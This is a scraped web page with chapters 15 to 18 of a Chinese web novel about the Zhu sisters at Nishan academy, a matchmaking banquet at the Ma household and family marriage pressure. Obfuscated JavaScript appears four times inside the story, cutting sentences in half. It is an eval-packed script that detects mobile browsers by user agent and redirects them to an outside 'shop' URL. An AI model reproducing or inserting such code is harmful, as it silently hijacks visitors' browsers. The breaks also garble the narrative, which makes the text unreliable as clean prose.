l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340076|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 祝英回摇了摇头:“升米恩,斗米仇。你怎么知道这些农户不会如此?还有,这些人知道我们把土地给了农户多半也会去捣乱。” 她琢磨了一下:“把这些地都放在王述那里吧,再雇佣那些农户种地,每年让他们把三成的收成交上来抵了税收即可。” 王述家里是名门望族,那些恶吏收税也只敢收老老实实的三成而已,甚至稍加运作,可能也不必缴税。 祝英台点头:“好!” 两姊妹就分头去找了人,王述一听,天都塌了:“不是,我要自己把土地开垦出来,我还要帮你们做事……” “我不干!祝英台你休想再蒙蔽我了!” 他声声控诉:“说好的揍马文才呢,你们到最后直接倒戈了!” 祝英台心虚地咳嗽了一声:“没办法嘛,那不是形势比人强么……”又安抚道“我帮你我帮你,还有我哥哥和马兄!你放心,这两亩地肯定不会让你自己开垦的!” 王述悲愤地控诉马文才:“你知道这几天我怎么过的吗?!” “我从来,从来没有打过那么多水!” “你很不满,是吗?”一道凉飕飕的声音从王述背后传来,王述惊悚扭头,就看见了马文才和与他同行的祝英回。 那淡绯衣衫的公子以袖遮脸,笑得不住抖动。 这事儿也不能怪马文才,毕竟向来傲慢的人专门给王述准备了个生存包,都准备好带着拖油瓶通关,字牌分王述一半了。 结果被背刺,这谁不生气。 但是娇生惯养的王述受不了马文才的独裁和什么都不商量就自顾自地全部安排好,也是情有可原。 祝英回抬手搭在了马文才的肩上:“好了,不是说好不跟王述计较了吗?” 她言笑晏晏,更显得那张好看至极的脸光彩夺目:“咱们来商量一下,怎么对付那些爱下山的家伙吧。” 马文才诡异地沉默了片刻,冷哼了一声,便不再说话了。 反倒是祝英台眼神中的惊骇都快透出来了,死死地盯着自己姐姐的手,咳嗽声一声比一声重。 祝英台心里多少还是有些男女大防的意思,实在不能接受自家姐姐和一个男子如此亲密。 祝英回会意,自然地放手:“咱们没有二十多个人,那些公子哥儿也很难在七日内开垦出两亩地。” “到时候不伦不类的,农户还得返工。” 坑别人的时候,王述脑子转得格外快:“这简单,我把其他人叫来,二十多个人一起开垦两亩地,这样不仅快,需要用来监督的人数也少些。” 祝英台好奇道:“他们能同意?这样他们自己的地说不定开垦不完。” 王述嘿嘿一笑:“有马兄的弓箭在,不同意也得同意。” 他这时候脑子格外清醒:“咱们就按你们说的那什么下山次数来排名,下山最多的就最后开垦!” 祝英回唔了一声:“既然这样,那没下过山的,就不让他们开垦了。” 王述欢呼出声,又好奇:“你们老说下山下山的,到底是下山去干什么啊?” 马文才抬眼看了他一眼,冷淡道:“这你就不用管了。” 15. 新年 “你们几个快点!别偷懒!” 王述站在圈定的地边上,耀武扬威地当监工。 为了方便测量,他们干脆在后山划了五十二亩地〔1〕出来,几个人轮流带领监工队伍。 又细化了一下规则,下过山的那些人,干到把他们自己的荒地开出来了,就可以享受假期了。 被欺负的那八人没想到还能有后续,当时就兴奋地不知道从哪儿搞了几条鞭子回来,每天轮着班,雄赳赳气昂昂地跟随当天带队的监工头子抽鞭子。 骤然用不着开荒的那几人大喜过望,蹲在田地边上,催促着地里的人赶紧把他们的那份开垦出来,好享受假期。 夫子们对他们的行为心照不宣。 学生们瞧不起每天上课睡觉晚上狎妓的世家公子,难道夫子们就很看得起这种人吗? 不过是书院对这些混不吝的世家公子也无可奈何罢了! 因而祝英台来偷查寝记录的时候,夫子们仿佛一夜之内就瞎掉了,愣是看不见她偷天换日的动作。 而此时,冬日的阳光还是很有杀伤力,周围围了很多人,不少捧着食水的仆从神色复杂,想笑又不敢笑地站在一旁。 看着从前嚣张地二五八万的主子满头大汗地干农活。 噼里啪啦的鞭子脆响时不时就响了起来,而不远处的树荫处,就站着一个正擦拭着弓箭的公子。 天青色劲装,鸦色长发用一根发带高高束起,眉眼精致又桀骜不驯。 而他身边站的那个,穿了一身髓色大衫,正悠哉悠哉地用一柄黑面漆金的折扇扇风。 他身上佩了一枚禁步,风一吹,便发出了一瞬清脆的碰撞声。 马文才实在没办法不向那枚禁步投去注意力。 他自己的那一枚这人早就还给他了,但是自那以后,从不佩戴玉佩的人不知道从哪儿弄来了一枚禁步天天戴着。 得意又嘚瑟,像只在折扇后偷笑的狐狸。 但意外的是,马文才并不觉得冒犯和不愉,反而有点奇异的感觉——原来从来面热心冷的人也会有这么喜怒形于色的时候。 以及……这枚禁步的含义,大约只有他们二人知道。 就连祝英台,也只知道马文才被说服了,却不知道在密林中那场怒气蓬勃的过招切磋。 祝英回看了一眼天色,用折扇遮着问他:“太阳快落山了,今日就到此为止吗?” 马文才瞥了她一眼:“就他们的速度,每日做到这个程度,你觉得七日之内能做完么?” 祝英回就听见身边那人道:“把火把点起来,让他们做到三更〔2〕。” 她一瞬间梦回前世,祝英回还没有创业成功之前,也是个打工人,加班加班加班,加班到把事情做完才许走。 马文才听见人嘶了一声,喃喃道:“你让我想起了一些不那么美好的回忆……” 他有些犹疑:“那……算了?” 祝英回果断道:“当然不,三更正合适!” 这群世家公子又没有夜盲症,平日里也是玩儿到三更才回来,适度地运动一下总比狎妓健康! 不过,夜盲症的话…… 祝英回陷入了沉思。 马文才咳嗽了一声,询问她:“再过十日,就要放春节假了,你有什么想法吗?” 这也是夫子们如此痛快地批了七天假期的原因,对敌课结束之后,不久就要放春节了,反正这些学生也不会有心思读书了,干脆就放假。 祝英回嗯了一声,笑吟吟道:“那就春日再见了?” 马文才被她噎了一下,索性扭头回去不再提这个话题了。 照例来说,马太守会在春节后举办宴会,邀请众人前来赴宴,诗词宴饮之外,还可结交人脉。〔3〕 马文才的意思,就是想请她去参加宴会。 想法很好,马兄很为同窗着想,问题在于她和祝英台的身份别说去参加宴席,就是有同窗突发奇想假期来找她们一次都容易穿帮。 马家和祝家隔得并不远,祝英回还真的挺怕他哪一日无聊了跑来找她们。 于是她道:“多谢马兄好意,只是春节之后我有事情要离家,不在家住。” 马文才应了一声,又道:“有什么不方便的地方,可以写信给我。” 这件事情就这么敷衍了过去。 日子一天天的过,在六个人轮班抽鞭子的情况下,五十二亩田地最终还是被开荒完成。 这也就意味着,春节一天天地近了。 回家的时候,祝氏两姊妹又转道去庄子,探望了覃微等人。 出人意料的是,这些女子和被收容的乞丐相处得很是不错,就连田庄的收成也很不错。 覃微崔婉他们把田庄的账理得很细,条例更是清楚,除此之外,还有另一件让人惊喜的事情—— “你是说,王氏有一位小姐也许可以拉拢?” 崔婉点头:“王小姐那一支人丁单薄,但血脉较近,这些年也过得风生水起。” “但是,前两年,她爹抱养了旁支的一个男孩儿。” 虽说这位王小姐本来就不可能一直把权力攥在手中,但这个男孩儿的出现,让她更加直观地感受到了自己手中的权力在像沙子一样迅速消散。 她并不甘心,但是世家子女所受的教育就是要为了家族付出自己的一切。 包括在真正继承人出现后自愿让位,也包括在让位之后,被嫁出去心甘情愿地冠以他人姓氏。 祝英回沉吟片刻:“试一试接触她吧,但在尘埃落定之前,不要暴露。” 等祝英台和祝英回到家之后,正正好是春节的前一天。 来不及叙什么旧,就被推进自己的房间里洗澡换衣服“除旧迎新”。 祝英台试探性地走了两步,才找到从前淑女的感觉—— 书院里她姐姐无时无刻不在提醒她不要扭扭捏捏地像个姑娘家,以至于她现在已经不习惯小步慢走了。 但是反观她姐姐,在回来的一瞬间仿佛被按了什么开关,又成了那个温柔娴静的祝家女。 而就在除夕家宴上,一个炸裂之极的消息被祝家老爷放了出来—— “后日英台和英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340077|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回好生打扮打扮,咱们去马太守府上参宴。” 祝英回眼皮子狂跳,祝英台失手摔了酒杯,声音都颤抖了:“马太守,哪个马太守?” 祝父不以为意:“自然是会稽马太守,还有哪个马太守。” 他眼睛很亮:“听说马太守的独子正好大你们两个一岁……” 明白了,宴非好宴,是相亲宴。 祝英台干笑一声:“何不等到元宵诗会再……” 祝父摆了摆手:“元宵诗会就太晚了,据说那位马公子虽说性子孤冷,但样貌和本领都是一等一的,最重要的就是……” 祝父掷地有声:“他不抽五石散!” 祝父年幼时对抽嗨了五石散裸奔的各位文人学士映象颇深,因而这个被媒人一笔带过的小点直接戳到了他心坎儿里。 势要让自家女孩儿去见上一见。 祝夫人也颇为赞同:“你们应当去见一面,喜不喜欢的再说。” 两姊妹没话反驳了,如果祝父说什么联姻什么利益什么门当户对,她们都有一箩筐的话反驳。 但是不抽五石散…… 这真的是马文才一个很鲜明又无法反驳的优点呢。 祝英台当晚就钻进了姐姐的房间:“姐姐,怎么办?” 祝英回看着镜中的自己,淡扫蛾眉,凤目婉转,从旁边的架子上取下了藩篱,蔷薇花儿也似的唇瓣一勾:“着什么急,戴上藩篱,他能认出我们?” 祝英台眼神一亮:“倒也没错,到时候随我们前去的只有爹娘和八哥。” “那祝英台和祝英回是谁,还不是由着我们说?”女子闺名,如若只是相亲宴,那是万万不会说出去的。 两姊妹嘀咕了一晚上,完善了自己的人设:和六哥七哥不太熟,不知道他们跑哪里去了,爹娘为了他们在家里大发脾气。 第二日,就被祝夫人一件又一件的首饰往头上堆,金钗银簪珠花耳坠,一样样地试,又一样样地拿下来。 最终为祝英回选定了一套温润生光的玳瑁首饰,为祝英台簪了一套精雕细錾的银头面。 祝夫人絮絮叨叨地教导她们:“不是金的玉的不好看,只是女孩子家须得含蓄内敛,更何况去见的许是你们日后的公爹和丈夫……” 祝英台努力地控制住表情,丈夫和……马文才? 这个搭配也太怪了。 最终,姊妹二人被昏头转向地打扮了一天之后,又被按下早早入眠,免得第二日精神不济。 等到第二天早上,两人前往马府时,祝英台还是紧张:“姐姐……” 祝英回镇定地抓住了她的手:“不怕,大不了就是退学,反正我们不也没想过能在尼山书院读完两年。” 尼山书院学制两年,一年半是读书习武,最后半年则是推荐出仕——相当于实习了。 祝英回想的,就是读满一年半就跑。 祝英台心安了些,二人下了马车,一眼就看见了站在门口接待客人的马文才。 祝英台:…… 祝英回:…… 这感觉好怪啊! 16. 宴会 好在她们也不必同他交流,需要和马文才社交的是带他们来的八哥祝英齐。 祝英回眼看得马文才正在接待别人,连忙悄悄扯了扯八哥:“八哥——” 祝英齐耐心道:“我知道我知道,你和英台昨天晚上就告诉我了。” 祝英台又是愧疚又是不安,黄良玉的事情,当时一股冲动上了头,却没想过新娘子成亲当天逃婚,对八哥会是多大的打击。 好在现在两家和平解除婚约,祝英齐除去成亲要晚一点,没有别的感觉。 祝家第八子又是好笑又是无奈。 昨天晚上两个妹妹惊慌失措地来找他,恳求哥哥帮忙遮掩一下身份,不要在同窗面前漏了馅儿。 他细问之下才晓得自家妹妹们在书院里除去读书之外混的那是风生水起,和马太守家的公子都不能用熟来形容了。 还有蓝田侯家的儿子,妹妹们说不能确定马文才会不会请他—— 但是同样很熟。 祝英齐还记得英台声声哭诉:“要是被这两人认出来了,我和姐姐会被笑死的!” 作为哥哥,祝英齐当然也只有多担待一点了。 他微笑上前,两姐妹紧随其后:“马公子,久仰久仰。” “在下上虞祝英齐。” 接着,他就看见那位形容甚美的马公子迟疑了一下,从众多宾客之间挤出时间问:“上虞祝氏?祝英回是……” 真的是很熟啊,难怪一句话都不敢说,祝英齐悄悄睨了一眼自家小九:“是我六哥。” “他和七哥过完年就走了,我也不知道去哪儿了。” 这和祝英回告诉他的一样,马文才默念一声,客气地拱了拱手:“里面请。” 又招了招手,把同样在门口迎宾的仆从叫了出来,低声耳语了几句。 仆从听了连连点头:“小的知道了。” 随即便热情指路:“三位还请这边来!” 两姐妹还不知道等着她们的是什么,直到从抄手游廊绕过院子,过了屏风,看到了假山活水间攀谈的众人。 祝英台整个人都麻了:“姐姐,八哥,怎么办啊?” 祝英齐不明所以地停了下来,问:“怎么了?” 祝英台看着站在中间夸夸其谈的王述,绘画联诗的荀巨伯和梁山伯二人,和低声与邹锋交谈的崔闫,还有随处可见的熟人。 艰难地笑了笑:“没什么,不过是同窗多了一点罢了。” 祝英回眼前一黑,喃喃道:“马兄为人,真是,妥帖啊。” 祝英齐险些笑出声,但是已经有其他人注意到他们了,那个其他人,就是站在最中间的王述。 他直接穿过了人群,看了一眼明显是女子的两人,抬了抬下巴,问仆人:“怎么回事,怎么把人引到这里来了。” 仆人笑道:“我家公子说,这是祝氏两位公子的兄弟姊妹,前方乌烟瘴气的,便嘱咐我带到这里来,让诸位公子看顾一二。” 王述恍然大悟:“哦!” 他的目光在两个女子身上一晃而过,嘴里念叨了一句:“不行,祝英回要是知道我跟他家妹妹说些有的没的,他能抽死我。” 王述扭头招手:“崔闫!拿盘果子来!” 崔闫手里端着一碟子点心走了过来,没好气地往他手里一塞:“你自己不知道去拿?” 王述笑嘻嘻地回他:“谁让你是马兄的表弟呢,这儿你可比我们谁都熟悉。” 他热情地把点心往祝英回手里一塞:“两位妹妹吃果子。” 随即就自来熟地搭上了祝英齐的肩膀:“这位祝兄,你是祝英台他们的哥哥还是弟弟啊?” 祝英齐又瞟了一眼自家妹妹:“他们是我六哥七哥。” 王述遗憾地咂了咂嘴:“是弟弟啊,那说话就不太好使了。” “怎么来的就不是哥哥呢?” 正好是哥哥的祝英齐微笑问道:“兄台有什么事情吗?虽然我年岁不比二位兄长,但是说话还是管些用的。” 一听他说话管用,王述立马来劲儿了:“你那个六哥七哥哦,太阴了知道吗?” “祝英回开学第一天话里就给我下套。祝英台更是不遑多让,比赛的时候那是骗得我出钱出力又出人,最后还是没……呃。” 他往祝英齐身后看了看,确定没看到马文才,小声道:“不可说。” 祝英齐意味深长地扫过默默往嘴里塞点心的两位妹妹:“哦。” 此刻梁山伯走了过来,他衣着不比其他人好,但在其中怡然自得,没有丝毫局促,他笑道:“你呀你,只顾着跟这位祝兄说话,将两位女郎放在什么地方?” 荀巨伯转着手中画笔,对王述翻了个白眼:“得了吧,你开学就要当老大的事情又不说?祝英台可没蒙你,若不是他兄长和马兄联手了,你们的谋划指不定真能成。” 梁山伯也道:“正是这个道理。”又伸手引路:“二位女郎,请去里面坐吧,马兄也预备了各色玩耍的器物。” 频繁被提到的两人感觉自己快被八哥扫过来的目光扎成筛子了,祝英台连忙回应:“那就多谢这位公子了。” 不比在书院里刻意压低加粗的声音,她声色如潺潺流水,佩环相鸣,梁山伯猝然一听到,只觉得耳朵都酥了,他倒退了一步,温润的面容连耳根子都红透了。 祝英台:…… 其余人笑了起来,替他掩盖尴尬,王述更是说:“两位女郎与祝英回他们是姊妹,那想来生得也有几分仿佛。” 邹锋赞同道:“若能得那两人几分神韵,定然是不世出的美人。” 两姊妹:……别说了别说了,我八哥的目光已经从刀子变成穿骨钉了。 祝英齐微笑道:“我家小十生得和英台相似,小九倒是长得像英回。” 众人一笑,便将三人引入内,又招来侍女陪二人玩耍,自己好奇地追问祝英齐,那两人有无什么稚嫩时刻。 听到这个问题的祝英台悄悄地锁定了提问的人:王述,又是你!开学之后你死定了! 祝英齐思索片刻,道:“英回自小便温柔懂事,倒是英台……” “温柔懂事!”王述倒吸一口气“你说的是祝英回?!” 他唧唧歪歪:“你就是说祝英台从小就内敛都比这个可信!” 此时,一道男声传了过来:“在说什么?” 王述投去眼光,便看见了站在厅堂口的马文才,他今日不曾穿劲装,而是着银丝暗绣的银红内衬,外套一件浅色丝制大氅,玉冠束发。 更显得俊美十分,眼眸多情。 王述被震了一下:“不是,马兄,你!” 马文才冷冷地递了个眼神过去:“不管你想说什么,都闭嘴。” 崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340078|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闫噗嗤笑出了声:“他今天一早就被拖起来打扮。”他调笑道:“看来姑父是真的很想你早点成亲。” 堂口那人薄唇微微一挑:“看来你很羡慕这种待遇,我会告诉舅舅的,你想早点成亲。” 崔闫被会心一击,认怂闭麦了,裴凉笑道:“祝家八哥说祝英回自小便温柔懂事,王述不信。” “祝英回?”马文才顿了顿“你们在说他?” 裴凉点头:“是啊,八哥还说,他们家小九和英回兄生得很像呢。” 马文才下意识地眼神追了过去,一瞬间就锁定了祝英回本人:“……的确很像。” 祝英齐视线投到了马文才脸上,半晌,微笑道:“英回在家的时间虽然不长,但也提起过马公子,言道是性情中人。” 从没说过这话的祝英回:…… 看着八哥怒气槽不知为何忽然充满了的祝英台:…… 马文才察觉到这句话里的刺,惊觉自己失言,立刻收回了目光,走到庭院中间,言简意赅:“我得出去了,自罚一杯。” 他拎起酒壶给自己倒了杯酒,端起银酒樽仰头饮下,喉结微微一动,浅粉的唇瓣也因为喝过酒变得醴红。 一直关注着那边的祝英回忽的一顿,祝英台察觉到了,低声问她:“姐姐,怎么了?” 祝英回看了一眼马文才,稍稍掀起藩篱与妹妹耳语:“马兄……确实生得很不错。” 祝英台:…… 她无语:“姐姐,这个时候你还……” 祝英回笑吟吟地摆了摆手:“我看八哥完全能应付的过来。” 祝英齐目送马文才离开,沉思了片刻,询问王述:“英回,和马公子关系很不错吗?” 王述毫无戒备:“是啊是啊,崔闫怎么说的来着?” 他抬头想了半晌,学着崔闫的语气:“整个学院里,他就把祝英回看进眼里了,从开学以来一直如此。” 崔闫强忍住翻白眼的冲动:“王述!” 他一把抄起桌上的镇纸就砸了过去,王述敏捷地躲开了,还叫嚣:“这不是你说的吗?我只是复述给这位祝兄听而已!” “邹锋不是还说,如果没拉着祝英回入伙,不要随便惹他吗?” 邹锋也呵笑一声,皮笑肉不笑:“是吗?家里有个蓝田侯的王述?” 这下轮到王述扑过去捂他的嘴了。 没了镇纸,桌子上的画就被风卷了起来,好巧不巧地扑向了两姊妹。 祝英台伸手一捞,展开来一看,不由得赞道:“好一幅冬梅图。” 庭院里打打闹闹的众人一瞬间静了下来,都意识到自己忘记了还有旁人在场。 而且,还是两个女子。 祝英台也僵了,她不知所措地站了起来,祝英齐走过来接过她手中的画:“小十,没关系的,吃果子。” 她重新坐了下去,心情却一下子就低落了下去,祝英回安抚般地拍了拍她的手—— 理解她心中的落差感。 直到宴席散去,她们与祝英齐一道回了家,祝英台依旧兴致不高,车厢内静悄悄的,祝英齐看着两个妹妹,叹了口气。 “这次我替你们遮掩过去了,以后又要怎么办呢?” “尤其是马太守家的公子,英回,你和他太熟了。” “他今日若非被打了岔,说不定就认出你了。” 17. 逼婚 祝英台坐在镜子面前,注视着镜中的自己。 是与在尼山书院不同的样子,但这才是她真实的模样。 祝英回提着一盏灯走了进来:“英台,在想什么?” 祝英台迷茫地转头:“姐姐……” 她想说些什么,却什么都说不出来,只讷讷道:“我不知道,今日他们做得很妥帖、很恰当,但我就是有些不舒服……” 祝英回就是为此时来的:“英台,你觉得难过,是因为你是女子吗?” 祝英台瞪大了眼睛:“当然不是!姐姐你在说什么!” 祝英回又问:“那么,是因为八哥身为局外人亦可恣意交谈,自己却不得不缄默不言。” “甚至怕被别人认出来吗?” 祝英台张了张口:“我……” “我不知道,但是我抓住那副画,他们却都静下来的时候,我觉得很难过。” 就好像,被自己的朋友当成了局外人,甚至包括八哥那一眼又一眼的警告也是如此。 祝英台在心虚之余,也有微妙的不快:我们去读书,难道还不能交几个朋友了吗? 八哥难道没有朋友吗? 祝英回将宫灯搁置到一边,跪坐了下来:“英台,你应该知道这谁的错都不是。” 王述他们与陌生的女子保持恰当的距离,八哥担忧她们行差踏错,乃至于她们自己,害怕被揭穿身份之后不能再继续读书。 这些都没有错,全都是很正当的理由。而之所以正当的理由最终让所有人都觉得尴尬、不适,则是因为…… “英台,是这个世道容不下我们。” 她轻轻伸手抿了抿妹妹鬓发:“英台,如果这个世道容得下女子读书,我们就不必男扮女装。” “如果世道对女子的禁锢没有那么让人喘不过气,今日我们就可以肆意谈笑,而不是戴着藩篱,枯坐在一旁等着八哥带我们离开。” 如果放任不管,祝英回相信祝英台能够想明白这个道理,也许她很快就能明白,也许需要很久很久。 但是无论是哪一种,祝英台都会不可避免地陷入到无尽的精神内耗中。 甚至哪怕是现在,祝英回直接将答案讲了出来,也能看见妹妹眼中不改的迷茫和难以掩饰的低落。 如果只是知道就能践行、就能认同,那天底下也不会有这么多痴狂之人了。 祝英回一叹,主动提起:“咱们提早从家里离开去散散心吧。” “恰好王姑娘那边,覃微已经见过一面了。” 祝英台头埋在姐姐怀里,闷声闷气道:“好。” 元宵诗会,堪称古人的变装相亲节,她们不参与就要直接离家。祝英回是做好准备要跟祝父祝母据理力争,然后才可能得偿所愿。 谁知他们非常痛快地同意了,不仅没生气,还非常关切地告诉她们,在书院里要和同学打好关系—— 实在是太过明显了,明显到祝英台原本低落的心情越发不好了。 看着姐姐面容平静地一一应下,甚至还能笑着分享一些书院中的趣事,祝英台终于忍不住了:“爹!娘!” 祝母沉了脸色:“英台,回你房间去,我们和你姐姐有话要说。” 祝英台几乎是恳求地看向姐姐,希望她不要留在这里,祝英回却向她笑了笑:“去吧,英台,收拾收拾行李,我们明后日就要离家了。” 祝英台愣了半晌,冷着脸起身,谁的眼色也没看,径直回去了。 祝父心情颇好,也没计较祝英台的行为:“这孩子,被娇惯得谁的面子都不肯给。” 祝英回微微侧头看向妹妹离去的方向,耳畔明珠轻轻晃动,温润的光泽让她显得温柔又娴静:“许是昨晚上没睡好吧,等会儿补一觉就好了。” 祝英台不在,祝家爹娘干脆就说得更明白了些:“马家的那个孩子,我和你父亲都见过了。” “是个很好的孩子,你与他相交甚笃,可千万要知道近水楼台先得月的道理。” 本来就是冲着相亲去的,祝父祝母与马太守攀谈的时候,自然也再有意无意地打听马文才的消息。 结果一打听,就知道了他和自家女儿是一个书院的! 祝父第一反应也是遮掩自家女儿女扮男装去书院读书的叛逆之举,但几乎是瞬间,他就反应过来了。 婚嫁这种事情光大人乐意有什么用? 马文才是独子,他心悦谁,马太守难道还能硬逼着不让娶吗! 没看见马家公子跟各家闺秀匆匆见了一面后一直装作看不见太守的眼神示意和言语暗示,赖在大厅里和他们这些老人家喝茶,马太守也没办法吗。 又思及是祝英齐陪他们去的,这两个小妮子为了不被人认出来,定然是拜托了她们八哥帮忙遮掩的。 祝父回来之后直接就把祝英齐叫去了书房盘问了半夜。 最开始他的第八子不肯出卖妹妹,还试图多加描补,直到后面才被他硬套出来了话。 祝英台和祝英回在书院里和同窗相处得很不错。 祝英回和马文才关系尤其好。 祝英回几不可见地一顿,随后垂下了长睫,清凌凌的眸光落在桌面上,又慢慢抬了起来,咬了咬唇:“可是,我们本是书院同窗之情,如今怀着这样不清白的心思去和他相处,叫我怎么好意思呢?” 祝父见她不十分抗拒的样子,十分开怀:“无妨!你只多多与他相处就是,此后为父自有安排!” 祝母劝慰道:“女子总是要嫁人的,男子也总是要娶妇的。与其成亲之前谁都不认识谁,成就一双怨侣。” “你和马公子既然能少年时期便相识相知,那正是上天做姻缘,哪里有推拒的道理呢?” 祝英回欲言又止:“娘,你再叫我想一想吧。” 祝父道:“自然是要好好想一想的,婚姻大事,正是应该好好想一想。” 祝英回离座,屈膝一礼:“那爹娘,女儿就先告退了。” 裙摆逶迤,在洁净的青石板上轻轻划过,祝英回面容很是平静,她没让任何人跟着,回了自己的房间。 房间里放了一盏昏暗的灯,祝英台坐在灯边,垂着头:“姐姐,对不起。” “我不该留你一个人在那里,也不应该这么沉不住气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340079|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她愤怒于爹娘的安排,不管不顾地起身离席,祝英台讨厌爹娘如此不顾姐姐本身的想法。 却更痛恨自己只能起身离开。 祝英回安抚地拍了拍她的背:“左右不过应承两句话罢了,又不会有什么实际的坏处。” “英台,我还想问一问,你确定你已经做好了准备和家里决裂了吗?” 她几乎是叹息般的开口:“妹妹,咱们做的是杀头的事情,纵然能留下自己的姓名,也绝不能和家里来往过多了,爹娘也绝不会允许我们做这种事。” 争皇位,还是帮一个帝女争皇位。 要么死,要么功成名就。 那个自尽的士族女,昨日的遭遇,今日的事情,乃至于祝英台眼中所见一切的一切,都坚定了她的决定。 昨天的疑惑和问题似乎全然不是问题了,祝英台的表情是前所未有的冷硬:“是。” 她们离开了祝家,重新投入了外面那个更加残酷也更加鲜活的广阔天地。 “王小姐是什么反应?”祝英回坐在太师椅上询问覃微。 覃微道:“我和崔婉按照女郎的吩咐,在年后王家上香之时,为其解签,但她好似没有听懂、也没有猜到我们的来意一样,并没有什么反应。” 崔婉接上她的话:“我们推测,王小姐是心动的,否则我们便不会如此容易脱身。” “只是她能执掌王家这么久,一定不是轻信别人的人。” 祝英回哦了一声:“看来,还是情况不够紧急,才叫她这般沉得住气。” 另一个叫刘宜的女子迟疑道:“女郎的意思是我们……” 祝英台诧异道:“当然不是!” “既然是盟友,叫人心里不痛快了,日后难以合作就是搬起石头砸自己的脚了。” 她笑道:“诸位不闻景帝加冠武帝之故事乎?” 祝英回赞赏地点了点头:“正是如此,元宵诗会如此绝妙的时机,她的父亲叔伯不会放过的。” “咱们只需要等着就行。” 崔婉低头思索片刻,倏然抬头,眼神亮的惊人:“二位女郎是说,他们会在那一日,为那个过继来的王小公子商谈婚约么?” 既然都有了婚约,有了未婚妻子,那怎么还能算小孩子? 王小公子的岳家理所当然地要和崔家门当户对。 就算以后崔父‘不慎’早亡,有了这么一门未婚妻子,哪怕王小公子只有十岁,还只是个总角幼童,也能名正言顺地和他姐姐争夺权力。 刘宜蹙眉:“亲生女儿和过继来的嗣子,王家家主会这么糊涂吗?” 你自己当年为了争夺家主的位置,和兄弟堂亲之间打得死去活来,斗得跟乌眼鸡似的,这会儿帮助堂兄的儿子抢女儿的权力。 那你当初怎么不干脆谦让一把,直接把家主之位让给堂兄呢? 反正结果都是一样的,人家亲生孩子,就算嘴上叫的是叔父,心里想的可未必不是亲爹。 祝英回笑道:“王小姐也许也是这么想的,可惜——” “王家主已经老了,而王小姐不仅年轻,而且手段凌厉到众人皆知。” 18. 元宵姻缘 斗火销诗溶溶月,回眸狐面淡淡光。 羞看郎君急相觅,愿似人间一珠圆。 “愿似人间一珠圆……”祝英台递了个眼神给姐姐,顾盼神飞“恐怕那位王清然王小姐不这么想。” 今年元宵,自前几日就开始流传各色各样柔情蜜意的诗篇了。 而这一篇正是其中之一,也是较为脍炙人口的一篇。 如若不是这首诗从创作到流行都有王家家主的影子,祝英回还蛮欣赏的。 她啧了一声,同样提了一首诗: “望江兮,忘江兮,只愿明月同照。 思乡兮,思像兮,何日可做圆子〔1〕。” 又催促着祝英台多写几篇,关键是要朗朗上口,粗俗点也没什么 重点——不能写男女情爱,不能拗口生涩。 祝英台对这样的要求已经习以为常了,挥笔就是一篇: “锦屏山高登不尽,徒见袅袅元宵烟。 一水不得船只渡,明朝再会扎紫姑。”〔2〕 其余女子见状也纷纷动笔写了起来。 但是无论如何,都免不了繁琐又生僻的用典,毕竟时代都透露着一种不健康的高谈阔论和奢靡繁复的风气,她们也不能免俗。 最终,在多次涂黄重写〔3〕后,凑出了几篇用典不那么严重的,将祝氏姐妹的两首诗混在中间一起传播了出去。 祝英回要求的是在底层传播,那方法便简单许多,这里就有很多做活的农人,刘宜和崔婉时常外出去察看情况,有时也会妙句偶得,随口念出来。 今日去的时候,也不过是念得诗篇多一些罢了…… 但是今天,却好像不甚一样,冬日活少,农人能够坐在田埂边上歇一歇。 往日里憨厚的笑着,只会夸好的人群突然问:“大人们也会一起做圆子吗?” 崔婉不知作何反应,五味杂陈道:“是,元宵的时候当然都会一起做。” 旁人不知道,但祝氏姊妹闲谈之间,好似是有要一起做汤圆的意思。 农人沉默地坐在田埂上,额头上的汗水滴落在田坎里,湿润了这一片土地,这也是他们一生都在做的事情。 他们又问:“锦屏山是哪座山?” “是黄河南岸的山。” 农人们哦了一声,氛围寂静了下来,忽而有一个人突兀地说:“我也爬过山,但是看不见那边。” 一个妇人给了他一巴掌,像是他媳妇,直直骂他:“你疯了!” 骂完之后,众人都沉默了下来,他们的头低垂着,对着土地,他们的眼泪也是对着土地。 崔婉从没看见过,她只能从快速出现又快速消失的,土地上一个个小小的圆上看出来。 她不知道自己是怎么走回去的,但崔婉好似突然明白了,最开始女郎说“还不够”的另一层意思。 